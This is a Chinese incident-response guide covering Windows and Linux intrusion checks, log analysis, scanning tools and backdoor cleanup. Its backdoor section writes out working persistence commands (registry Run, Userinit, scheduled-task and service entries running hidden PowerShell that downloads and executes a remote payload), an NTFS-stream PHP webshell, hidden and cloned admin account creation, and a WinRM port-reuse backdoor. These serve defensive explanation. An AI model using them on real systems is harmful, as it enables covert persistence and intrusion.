应急响应笔记
黑客病毒千千萬,人才工具處處有。
?
攻擊威脅早發現,不留后門要根除。
面對各種各樣的安全事件,我們該怎么處理?
當企業發生黑客入侵、系統崩潰或其它影響業務正常運行的安全事件時,急需第一時間進行處理,使企業的網絡信息系統在最短時間內恢復正常工作,進一步查找入侵來源,還原入侵事故過程,同時給出解決方案與防范措施,為企業挽回或減少經濟損失。
對于病毒入侵,黑客攻擊等等我們又知道多少?
所以在現實中會時不時出現不同的人,不同的手段攻擊我們,這時我們就需要進行應急響應分析。
目錄
分析入侵原因- -消除入侵影響
windows(服務器)
Linux(服務器)
工具篇
清理木馬后門
windows
1處理 隱藏(后門)文件
2 隱藏賬號
3 端口復用
4 進程注入
?Linux
1 處理隱藏文件
2 隱藏文件時間戳
3 隱藏權限
4 隱藏歷史操作命令
5 隱藏遠程SSH登陸記錄
6 端口復用
7 進程隱藏
提供安全建議
常見的應急響應事件分類:
Web 入侵:網頁掛馬、主頁篡改、Webshell
系統入侵:病毒木馬、勒索軟件、遠控后門
網絡攻擊:DDOS 攻擊、DNS 劫持、ARP 欺騙
分析入侵原因- -消除入侵影響
windows(服務器)
一,入侵排查思路
1> 檢查系統賬號
1、查看服務器是否有弱口令,遠程管理端口是否對公網開放。
-
檢查方法:據實際情況咨詢相關服務器管理員。
2、查看服務器是否存在可疑賬號、新增賬號。
-
檢查方法:打開 cmd 窗口,輸入 lusrmgr.msc 命令,查看是否有新增/可疑的賬號,如有管理員群組的(Administrators)里的新增賬戶,如有,請立即禁用或刪除掉。
3、查看服務器是否存在隱藏賬號、克隆賬號。
-
檢查方法:
a、打開注冊表 ,查看管理員對應鍵值。
b、使用D盾_web查殺工具,集成了對克隆賬號檢測的功能。
4、結合日志,查看管理員登錄時間、用戶名是否存在異常。
-
檢查方法:
a、Win+R 打開運行,輸入"eventvwr.msc",回車運行,打開“事件查看器”。
b、導出 Windows 日志 -- 安全,利用微軟官方工具 Log Parser 進行分析。
?2> 檢查異常的端口,進程
1、檢查端口連接情況,是否有遠程連接、可疑連接。
-
檢查方法:
a、使用netstat -ano 命令查看目前的網絡連接,定位可疑的 ESTABLISHED
b、根據 netstat 命令定位出的 PID 編號,再通過 tasklist 命令進行進程定位 tasklist | findstr "PID"
2、進程
-
檢查方法:
a、開始 -- 運行 -- 輸入 msinfo32 命令,依次點擊 "軟件環境 -- 正在運行任務" 就可以查看到進程的詳細信息,比如進程路徑、進程ID、文件創建日期以及啟動時間等。
b、打開D盾_web查殺工具,進程查看,關注沒有簽名信息的進程。
c、通過微軟官方提供的 Process Explorer 等工具進行排查 。
d、查看可疑的進程及其子進程??梢酝ㄟ^觀察以下內容:
沒有簽名驗證信息的進程 沒有描述信息的進程 進程的屬主 進程的路徑是否合法 CPU 或內存資源占用長時間過高的進程
3、小技巧:
a、查看端口對應的 PID:netstat -ano | findstr "port"
b、查看進程對應的 PID:任務管理器 -- 查看 -- 選擇列 -- PID 或者 tasklist | findstr "PID"
c、查看進程對應的程序位置:
任務管理器 -- 選擇對應進程 -- 右鍵打開文件位置
運行輸入 wmic,cmd 界面輸入 process
d、tasklist /svc 進程 -- PID -- 服務
e、查看Windows服務所對應的端口:
%systemroot%/system32/drivers/etc/services(一般 %systemroot% 就是 C:\Windows 路徑)
3> 檢查啟動項、計劃任務、服務
1、檢查服務器是否有異常的啟動項。
-
檢查方法:
a、登錄服務器,單擊【開始】>【所有程序】>【啟動】,默認情況下此目錄在是一個空目錄,確認是否有非業務程序在該目錄下。 b、單擊開始菜單 >【運行】,輸入 msconfig,查看是否存在命名異常的啟動項目,是則取消勾選命名異常的啟動項目,并到命令中顯示的路徑刪除文件。 c、單擊【開始】>【運行】,輸入 regedit,打開注冊表,查看開機啟動項是否正常,特別注意如下三個注冊表項:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce檢查右側是否有啟動異常的項目,如有請刪除,并建議安裝殺毒軟件進行病毒查殺,清除殘留病毒或木馬。
d、利用安全軟件查看啟動項、開機時間管理等。
e、組策略,運行 gpedit.msc
2、檢查計劃任務
-
檢查方法:
a、單擊【開始】>【設置】>【控制面板】>【任務計劃】,查看計劃任務屬性,便可以發現木馬文件的路徑。
b、單擊【開始】>【運行】;輸入 cmd,然后輸入 at,檢查計算機與網絡上的其它計算機之間的會話或計劃任務,如有,則確認是否為正常連接。
3、服務自啟動
-
檢查方法:單擊【開始】>【運行】,輸入 services.msc,注意服務狀態和啟動類型,檢查是否有異常服務。
4> 檢查系統相關信息
1、查看系統版本以及補丁信息
-
檢查方法:單擊【開始】>【運行】,輸入 systeminfo,查看系統信息。
2、查找可疑目錄及文件
-
檢查方法:
a、 查看用戶目錄,新建賬號會在這個目錄生成一個用戶目錄,查看是否有新建用戶目錄。
Window 2003版本 C:\Documents and Settings Window 2008R2及以后版本 C:\Users\b、單擊【開始】>【運行】,輸入 %UserProfile%\Recent,分析最近打開分析可疑文件。
c、在服務器各個目錄,可根據文件夾內文件列表時間進行排序,查找可疑文件。
d、回收站、瀏覽器下載目錄、瀏覽器歷史記錄
e、修改時間在創建時間之前的為可疑文件
3、發現并得到 WebShell、遠控木馬的創建時間,如何找出同一時間范圍內創建的文件?
a、利用 Registry Workshop 注冊表編輯器的搜索功能,可以找到最后寫入時間區間的文件。 b、利用計算機自帶文件搜索功能,指定修改時間進行搜索。
5> 自動化查殺
-
病毒查殺
-
檢查方法:下載安全軟件,更新最新病毒庫,進行全盤掃描。
-
-
webshell查殺
-
檢查方法:選擇具體站點路徑進行webshell查殺,建議使用兩款 WebShell 查殺工具同時查殺,可相互補充規則庫的不足。
-
6> 日志分析
系統日志
-
分析方法:
a、前提:開啟審核策略,若日后系統出現故障、安全事故則可以查看系統的日志文件,排除故障,追查入侵者的信息等。
b、Win+R 打開運行,輸入 "eventvwr.msc",回車運行,打開"事件查看器"。
C、導出應用程序日志、安全日志、系統日志,利用 Log Parser 進行分析。
Web 訪問日志
-
分析方法:
a、找到中間件的web日志,打包到本地方便進行分析。
b、推薦工具:Windows 下,推薦用 EmEditor 進行日志分析,支持大文本,搜索效率還不錯。Linux 下,使用 Shell 命令組合查詢分析。
工具
1 .病毒分析
PCHunter:惡意代碼檢測 虛擬機脫殼. Rootkit檢測 木馬檢測
火絨劍:火絨安全
Process Explorer:進程資源管理器 - Windows Sysinternals | Microsoft Docs
processhacker:Downloads - Process Hacker
autoruns:Autoruns for Windows - Windows Sysinternals | Microsoft Docs
OTL:https://www.bleepingcomputer.com/download/otl/
SysInspector:下載-殺毒軟件下載,防病毒,反木馬 - ESET NOD32中國官方網站
2 .病毒查殺
卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe (推薦理由:綠色版、最新病毒庫)
大蜘蛛:Dr.Web CureIt! — Скачать бесплатно(推薦理由:掃描快、一次下載只能用1周,更新病毒庫)
火絨安全軟件:火絨安全
360殺毒:360殺毒_下載中心
3. 病毒動態
CVERC-國家計算機病毒應急處理中心:CVERC-國家計算機病毒應急處理中心
微步在線威脅情報社區:微步在線X情報社區-威脅情報查詢_威脅分析平臺_開放社區
火絨安全論壇:火絨安全軟件 - 火絨安全軟件
愛毒霸社區:金山毒霸官方網站-病毒防護_垃圾清理_軟件管家_彈窗攔截-永久免費的殺毒軟件
騰訊電腦管家:軟件功能下載_頑固木馬專殺_網絡診斷工具-騰訊電腦管家論壇
4 .在線病毒掃描網站
Virustotal:VirusTotal
Virscan:VirSCAN.org - Free Multi-Engine Online Virus Scanner v1.02, Supports 47 AntiVirus Engines!
騰訊哈勃分析系統:騰訊哈勃分析系統
Jotti 惡意軟件掃描系統:Jotti's malware scan
5 .webshell查殺
D盾_Web查殺:D盾防火墻
河馬 WebShell 查殺:SHELLPUB.COM 專注查殺,永久免費
Linux(服務器)
1 賬號安全
基本使用:
1、用戶信息文件 /etc/passwd root:x:0:0:root:/root:/bin/bash account:password:UID:GID:GECOS:directory:shell 用戶名:密碼:用戶ID:組ID:用戶說明:家目錄:登陸之后的 shell 注意:無密碼只允許本機登陸,遠程不允許登陸 ? 2、影子文件 /etc/shadow root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7::: 用戶名:加密密碼:密碼最后一次修改日期:兩次密碼的修改時間間隔:密碼有效期:密碼修改到期到的警告天數:密碼過期之后的寬限天數:賬號失效時間:保留 who ? ? 查看當前登錄用戶(tty 本地登陸 pts 遠程登錄) w ? ? ? 查看系統信息,想知道某一時刻用戶的行為 uptime 查看登陸多久、多少用戶,負載狀態入侵排查:
1、查詢特權用戶特權用戶(uid 為0) [root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd 2、查詢可以遠程登錄的帳號信息 [root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow 3、除root帳號外,其他帳號是否存在sudo權限。如非管理需要,普通帳號應刪除sudo權限 [root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" 4、禁用或刪除多余及可疑的帳號usermod -L user ? 禁用帳號,帳號無法登錄,/etc/shadow 第二欄為 ! 開頭userdel user ? ? ? 刪除 user 用戶userdel -r user ? 將刪除 user 用戶,并且將 /home 目錄下的 user 目錄一并刪除2 歷史命令
基本使用:
通過 .bash_history 文件查看帳號執行過的系統命令
1、root 用戶的歷史命令 histroy 2、打開 /home 各帳號目錄下的 .bash_history,查看普通帳號執行的歷史命令。 為歷史的命令增加登錄的 IP 地址、執行命令時間等信息: 1)保存1萬條命令 sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile 2)在/etc/profile的文件尾部添加如下行數配置信息: ######jiagu history xianshi######### USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'` if [ "$USER_IP" = "" ] then USER_IP=`hostname` fi export HISTTIMEFORMAT="%F %T $USER_IP `whoami` " shopt -s histappend export PROMPT_COMMAND="history -a" ######### jiagu history xianshi ########## 3)source /etc/profile 讓配置生效 生成效果: 1 2018-07-10 19:45:39 192.168.204.1 root source /etc/profile 3、歷史操作命令的清除:history -c 但此命令并不會清除保存在文件中的記錄,因此需要手動刪除 .bash_profile 文件中的記錄。入侵排查:
進入用戶目錄下,導出歷史命令。 cat .bash_history >> history.txt3 檢查異常端口
使用 netstat 網絡連接命令,分析可疑端口、IP、PID
netstat -antlp | more ? 查看下 pid 所對應的進程文件路徑, 運行 ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 為對應的 pid 號)4 檢查異常進程
使用 ps 命令,分析進程
ps aux | grep pid5 檢查開機啟動項
基本使用:
系統運行級別示意圖:
| 0 | 關機 |
| 1 | 單用戶模式,可以想象為windows的安全模式,主要用于系統修復 |
| 2 | 不完全的命令行模式,不含NFS服務 |
| 3 | 完全的命令行模式,就是標準字符界面 |
| 4 | 系統保留 |
| 5 | 圖形模式 |
| 6 | 重啟動 |
查看運行級別命令 runlevel
系統默認允許級別
vi /etc/inittab id=3:initdefault #系統開機后直接進入哪個運行級別開機啟動配置文件
/etc/rc.local /etc/rc.d/rc[0~6].d例子:當我們需要開機啟動自己的腳本時,只需要將可執行腳本丟在 /etc/init.d 目錄下,然后在 /etc/rc.d/rc*.d 文件中建立軟鏈接即可。
注:此中的 * 代表 0,1,2,3,4,5,6 這七個等級
root@localhost ~]# ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh此處sshd是具體服務的腳本文件,S100ssh是其軟鏈接,S開頭代表加載時自啟動;如果是K開頭的腳本文件,代表運行級別加載時需要關閉的。
入侵排查:
啟動項文件:
more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/6 檢查定時任務
基本使用
1、利用 crontab 創建計劃任務
-
基本命令
crontab -l ? 列出某個用戶cron服務的詳細內容 ? Tips:默認編寫的crontab文件會保存在 (/var/spool/cron/用戶名 例如: /var/spool/cron/root ? crontab -r ? 刪除每個用戶cront任務(謹慎:刪除所有的計劃任務) ? crontab -e ? 使用編輯器編輯當前的crontab文件 ? 如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分鐘寫入文件
2、利用 anacron 命令實現異步定時任務調度
-
使用案例
每天運行 /home/backup.sh 腳本: vi /etc/anacrontab @daily ? 10 ? example.daily ? /bin/bash /home/backup.sh 當機器在 backup.sh 期望被運行時是關機的,anacron會在機器開機十分鐘之后運行它,而不用再等待 7天。
入侵排查
重點關注以下目錄中是否存在惡意腳本
/var/spool/cron/* /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/ /etc/anacrontab /var/spool/anacron/*小技巧:
more /etc/cron.daily/* 查看目錄下所有文件7 檢查服務
服務自啟動
第一種修改方法:
chkconfig [--level 運行級別] [獨立服務名] [on|off] chkconfig –level 2345 httpd on 開啟自啟動 chkconfig httpd on (默認level是2345)第二種修改方法:
修改 /etc/re.d/rc.local 文件 ? 加入 /etc/init.d/httpd start第三種修改方法:
使用 ntsysv 命令管理自啟動,可以管理獨立服務和 xinetd 服務。
入侵排查
1、查詢已安裝的服務:
RPM 包安裝的服務
chkconfig --list 查看服務自啟動狀態,可以看到所有的RPM包安裝的服務 ps aux | grep crond 查看當前服務系統在3與5級別下的啟動項 中文環境 chkconfig --list | grep "3:啟用\|5:啟用" 英文環境 chkconfig --list | grep "3:on\|5:on"源碼包安裝的服務
查看服務安裝位置 ,一般是在/user/local/ service httpd start 搜索/etc/rc.d/init.d/ 查看是否存在8 檢查異常文件
1、查看敏感目錄,如/tmp目錄下的文件,同時注意隱藏文件夾,以“..”為名的文件夾具有隱藏屬性
2、得到發現WEBSHELL、遠控木馬的創建時間,如何找出同一時間范圍內創建的文件?
可以使用find命令來查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前訪問過的文件
3、針對可疑文件可以使用 stat 進行創建修改時間。
9 檢查系統日志
日志默認存放位置:/var/log/
查看日志配置情況:more /etc/rsyslog.conf
| /var/log/cron | 記錄了系統定時任務相關的日志 |
| /var/log/cups | 記錄打印信息的日志 |
| /var/log/dmesg | 記錄了系統在開機時內核自檢的信息,也可以使用dmesg命令直接查看內核自檢信息 |
| /var/log/mailog | 記錄郵件信息 |
| /var/log/message | 記錄系統重要信息的日志。這個日志文件中會記錄Linux系統的絕大多數重要信息,如果系統出現問題時,首先要檢查的就應該是這個日志文件 |
| /var/log/btmp | 記錄錯誤登錄日志,這個文件是二進制文件,不能直接vi查看,而要使用lastb命令查看 |
| /var/log/lastlog | 記錄系統中所有用戶最后一次登錄時間的日志,這個文件是二進制文件,不能直接vi,而要使用lastlog命令查看 |
| /var/log/wtmp | 永久記錄所有用戶的登錄、注銷信息,同時記錄系統的啟動、重啟、關機事件。同樣這個文件也是一個二進制文件,不能直接vi,而需要使用last命令來查看 |
| /var/log/utmp | 記錄當前已經登錄的用戶信息,這個文件會隨著用戶的登錄和注銷不斷變化,只記錄當前登錄用戶的信息。同樣這個文件不能直接vi,而要使用w,who,users等命令來查詢 |
| /var/log/secure | 記錄驗證和授權方面的信息,只要涉及賬號和密碼的程序都會記錄,比如SSH登錄,su切換用戶,sudo授權,甚至添加用戶和修改用戶密碼都會記錄在這個日志文件中 |
日志分析技巧:
? 1、定位有多少IP在爆破主機的root帳號: ? ? grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more ? 定位有哪些IP在爆破: grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c ? 爆破用戶名字典是什么? grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr2、登錄成功的IP有哪些: grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more ? 登錄成功的日期、用戶名、IP: grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' ? 3、增加一個用戶kali日志: Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001 Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali , shell=/bin/bash Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali #grep "useradd" /var/log/secure ? 4、刪除用戶kali日志: Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali' Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali' Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali' # grep "userdel" /var/log/secure ? 5、su切換用戶: Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0) ? sudo授權執行: sudo -l Jul 10 00:43:09 localhost sudo: ? good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now工具篇
1 Rootkit查殺
-
chkrootkit
網址:chkrootkit -- locally checks for signs of a rootkit
使用方法: wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz tar zxvf chkrootkit.tar.gz cd chkrootkit-0.52 make sense #編譯完成沒有報錯的話執行檢查 ./chkrootkit -
rkhunter
網址:The Rootkit Hunter project
使用方法: Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz tar -zxvf rkhunter-1.4.4.tar.gz cd rkhunter-1.4.4 ./installer.sh --install rkhunter -c
2 病毒查殺
-
Clamav
網址:ClamAVNet
安裝方式一:
1、安裝 zlib: wget http://nchc.dl.sourceforge.net/project/libpng/zlib/1.2.7/zlib-1.2.7.tar.gz tar -zxvf zlib-1.2.7.tar.gz cd zlib-1.2.7 #安裝一下gcc編譯環境: yum install gcc CFLAGS="-O3 -fPIC" ./configure --prefix= /usr/local/zlib/ make && make install ? 2、添加用戶組 clamav 和組成員 clamav: groupadd clamav useradd -g clamav -s /bin/false -c "Clam AntiVirus" clamav ? 3、安裝 Clamav tar –zxvf clamav-0.97.6.tar.gz cd clamav-0.97.6 ./configure --prefix=/opt/clamav --disable-clamav -with-zlib=/usr/local/zlib make make install ? 4、配置 Clamav mkdir /opt/clamav/logs mkdir /opt/clamav/updata touch /opt/clamav/logs/freshclam.log touch /opt/clamav/logs/clamd.log cd /opt/clamav/logs chown clamav:clamav clamd.log chown clamav:clamav freshclam.log ? 5、ClamAV 使用:/opt/clamav/bin/freshclam 升級病毒庫 ./clamscan –h 查看相應的幫助信息 ./clamscan -r /home 掃描所有用戶的主目錄就使用 ./clamscan -r --bell -i /bin 掃描bin目錄并且顯示有問題的文件的掃描結果安裝方式二:
#安裝 yum install -y clamav #更新病毒庫 freshclam #掃描方法 clamscan -r /etc --max-dir-recursion=5 -l /root/etcclamav.log clamscan -r /bin --max-dir-recursion=5 -l /root/binclamav.log clamscan -r /usr --max-dir-recursion=5 -l /root/usrclamav.log #掃描并殺毒 clamscan -r --remove /usr/bin/bsd-port clamscan -r --remove /usr/bin/ clamscan -r --remove /usr/local/zabbix/sbin #查看日志發現 cat /root/usrclamav.log |grep FOUND
3 webshell查殺
Linux 版:
河馬 WebShell 查殺:http://www.shellpub.com4 RPM check 檢查
系統完整性可以通過rpm自帶的-Va來校驗檢查所有的rpm軟件包,查看哪些命令是否被替換了:
./rpm -Va > rpm.log如果一切均校驗正常將不會產生任何輸出,如果有不一致的地方,就會顯示出來,輸出格式是8位長字符串,每個字符都用以表示文件與RPM數據庫中一種屬性的比較結果 ,如果是. (點) 則表示測試通過。
驗證內容中的8個信息的具體內容如下:S ? ? ? ? 文件大小是否改變M ? ? ? ? 文件的類型或文件的權限(rwx)是否被改變5 ? ? ? ? 文件MD5校驗是否改變(可以看成文件內容是否改變)D ? ? ? ? 設備中,從代碼是否改變L ? ? ? ? 文件路徑是否改變U ? ? ? ? 文件的屬主(所有者)是否改變G ? ? ? ? 文件的屬組是否改變T ? ? ? ? 文件的修改時間是否改變如果命令被替換了,如果還原回來:
文件提取還原案例: rpm -qf /bin/ls 查詢 ls 命令屬于哪個軟件包 mv /bin/ls /tmp 先把 ls 轉移到 tmp 目錄下,造成 ls 命令丟失的假象 rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls 提取 rpm 包中 ls 命令到當前目錄的 /bin/ls 下 cp /root/bin/ls /bin/ 把 ls 命令復制到 /bin/ 目錄 修復文件丟失5 Linux安全檢查腳本
Github 項目地址:
https://github.com/grayddq/GScan
https://github.com/ppabc/security_check
GitHub - T0xst/linux: linux安全檢查
清理木馬后門
在獲取服務器權限后,通常會用一些后門技術來維持服務器權限,服務器一旦被植入后門,攻擊者便如入無人之境。本節將對常見的window服務端自啟動后門技術進行解析,知己知彼方能杜絕后門。
windows
1 注冊表自啟動
通過修改注冊表自啟動鍵值,添加一個木馬程序路徑,實現開機自啟動。
常用的注冊表啟動鍵:
# Run鍵 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ? # Winlogon\Userinit鍵 HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon ? 類似的還有很多,關鍵詞:注冊表啟動鍵值。使用以下命令可以一鍵實現無文件注冊表后門:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f
Logon Scripts 后門
注冊表路徑:HKEY_CURRENT_USER\Environment\
創建字符串鍵值: UserInitMprLogonScript,鍵值設置為bat的絕對路徑:c:\test.bat
userinit后門
在用戶進行登陸時,winlogon運行指定的程序。根據官方文檔,可以更改它的值來添加與刪除程序。
利用USERINIT注冊表鍵實現無文件后門:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]"Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""2 組策略設置腳本啟動
運行gpedit.msc進入本地組策略,通過Windows設置的“腳本(啟動/關機)”項來說實現。因為其極具隱蔽性,因此常常被攻擊者利用來做服務器后門。
容易遇到的問題:腳本需全路徑,如C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
3 計劃任務
通過window系統的任務計劃程序功能實現定時啟動某個任務,執行某個腳本。
使用以下命令可以一鍵實現:
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.28.142:8888/logo.gif\"\"\"))\""容易遇到的問題:cmd命令行執行單引號會被替換成雙引號,故這里使用三個雙引號替代。
計劃腳本每 1 分鐘運行一次。
4 服務自啟動
通過服務設置自啟動,結合powershell實現無文件后門。
使用以下命令可實現:
sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" ? sc description KeyName "Just For Test" ? //設置服務的描述字符串 sc config Name start= auto ? ? ? ? ? ? ? //設置這個服務為自動啟動 net start Name ? ? ? ? ? ? ? ? ? ? ? ? ? //啟動服務成功創建了一個自啟動服務
5 WMI后門
在2015年的blackhat大會上Matt Graeber介紹了一種無文件后門就是用的WMI。這里可以利用一個工具powersploit,下面用它的Persistence模塊來示范一個簡單的例子。
Import-Module .\Persistence\Persistence.psm1 $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' $UserOptions = New-UserPersistenceOption -Registry -AtLogon Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose6 dll劫持
如果在進程嘗試加載一個DLL時沒有指定DLL的絕對路徑,那么Windows會嘗試去指定的目錄下查找這個DLL;如果攻擊者能夠控制其中的某一 個目錄,并且放一個惡意的DLL文件到這個目錄下,這個惡意的DLL便會被進程所加載,從而造成代碼執行。
比較常用的如LPK.dll的劫持:
win7及win7以上系統增加了KnownDLLs保護,需要在注冊表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls下添加 “lpk.dll” 才能順利劫持:
7 COM劫持
利用COM劫持技術,最為關鍵的是dll的實現以及CLSID的選擇,通過修改CLSID下的注冊表鍵值,實現對CAccPropServicesClass和MMDeviceEnumerator劫持,而系統很多正常程序啟動時需要調用這兩個實例。這種方法可以繞過Autoruns對啟動項的檢測。
8 遠程控制
遠控木馬是一種惡意程序,其中包括在目標計算機上用于管理控制的后門。遠程訪問木馬通常與用戶請求的程序(如游戲程序)一起,是一種看不見的下載,或作為電子郵件附件發送。一旦主機系統被攻破,入侵者可以利用它來向其他易受感染的計算機分發遠程訪問木馬,從而建立僵尸網絡。
一般分為客戶端和服務端,如:灰鴿子、上興遠控、夢想時代、QuasarRAT等。
?管理員在平時運維過程應當保持警惕,掌握一定的入侵排查技巧,及時進行系統補丁更新,定期對服務器安全檢查,才能有效地預防后門。
1處理 隱藏(后門)文件
攻擊者在獲取服務器權限后,通常會用一些后門來維持權限,為使后門保持的更久些,一般會隱藏好它,使之不易被管理員發現。
1.隱藏文件
利用文件屬性
最簡單的一種隱藏文件的方式,文件右鍵屬性,勾選隱藏,點擊確定后,在這個文件里看不到剛剛的文件了。
?
如果要讓文件顯示出來,就點擊查看,勾選顯示隱藏的文件,文件就顯示出來。
?
如何真正隱藏文件?
使用Attrib +s +a +h +r命令就是把原本的文件夾增加了系統文件屬性、存檔文件屬性、只讀文件屬性和隱藏文件屬性。
attrib +s +a +h +r D:\test\project\test.txt
這樣就做到了真正的隱藏,不管你是否顯示隱藏文件,此文件夾都看不見。
破解隱藏文件:
打開電腦文件夾選項卡,取消”隱藏受保護的操作系統文件“勾選,把”隱藏文件和文件夾“下面的單選選擇“顯示隱藏的文件、文件夾和驅動器”。
?
利用ADS隱藏文件內容
在服務器上echo一個數據流文件進去,比如index.php是網頁正常文件,我們可以這樣子搞:
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg這樣子就生成了一個不可見的shell hidden.jpg,常規的文件管理器、type命令,dir命令、del命令發現都找不出那個hidden.jpg的?!?/p> 問題1:如何查看index.php:hidden.jpg內容呢? ?進入文件所在目錄,notepad index.php:hidden.jpg ? 或者 dir /r問題2:如何刪除index.php:hidden.jpg? ?直接刪除index.php即可
驅動級文件隱藏
驅動隱藏我們可以用過一些軟件來實現,軟件名字叫:Easy File Locker
下載鏈接: XOSLAB.COM
如果你在網站目錄未查找到相關文件,且系統目錄存在存在以下文件:
c:\WINDOWS\xlkfs.dat c:\WINDOWS\xlkfs.dll c:\WINDOWS\xlkfs.ini c:\WINDOWS\system32\drivers\xlkfs.sys那么你,應該是遭遇了驅動級文件隱藏。
如何清除?
1、查詢服務狀態: sc qc xlkfs 2、停止服務: net stop xlkfs 服務停止以后,經驅動級隱藏的文件即可顯現 3、刪除服務: sc delete xlkfs 4、刪除系統目錄下面的文件,重啟系統,確認服務已經被清理了。隱藏文件的方式還有很多,比如偽裝成一個系統文件夾圖標,利用畸形文件名、保留文件名無法刪除,甚至取一個與系統文件很像的文件名并放在正常目錄里面,很難辨別出來。
這些隱藏文件的方式早已不再是秘密,而更多的惡意程序開始實現“無文件”攻擊,這種方式極難被發現。
2 隱藏賬號
window 隱藏系統用戶操作,CMD命令行下,建立了一個用戶名為“test$”,密碼為“abc123!”的簡單隱藏賬戶,并且把該隱藏賬戶提升為了管理員權限。
?
PS:CMD命令行使用"net user",看不到"test$"這個賬號,但在控制面板和本地用戶和組是可以顯示此用戶的。
克隆賬號制作過程:
1、“開始”→“運行”,輸入“regedt32.exe”后回車,需要到“HKEY_LOCAL_MACHINE\SAM\SAM”,單機右建權限,把名叫:administrator的用戶給予:完全控制以及讀取的權限,在后面打勾就行,然后關閉注冊表編輯器,再次打開即可。
?
2、來到注冊表編輯器的“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”處,點擊test$用戶,得到在右邊顯示的鍵值中的“類型”一項顯示為0x3ec,找到箭頭所指目錄。
?
3、找到administrator所對應的的項為“000001F4”,將“000001F4”的F值復制到“000003EC”的F值中,保存。
4、分別test$和“000003EC導出到桌面,刪除test$用戶 net user test$ /del
?
5、將剛才導出的兩個后綴為.reg的注冊表項導入注冊表中。這樣所謂的隱藏賬戶就創建好了。PS:不管你是在命令提示符下輸入net user 或者在系統用戶管理界面都是看不到test$這個賬戶的,只有在注冊表中才能看得到。
檢測和清理方法:
使用D盾_web查殺工具,使用克隆賬號檢測功能進行查看,可檢測出隱藏、克隆賬號。
?
3 端口復用
通過端口復用來達到隱藏端口的目的,在Window下,如何實現端口復用呢?
前陣子,@Twi1ight公布了一種基于內置系統服務的端口復用后門方法,利用WinRM服務,一條命令實現端口復用后門:
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
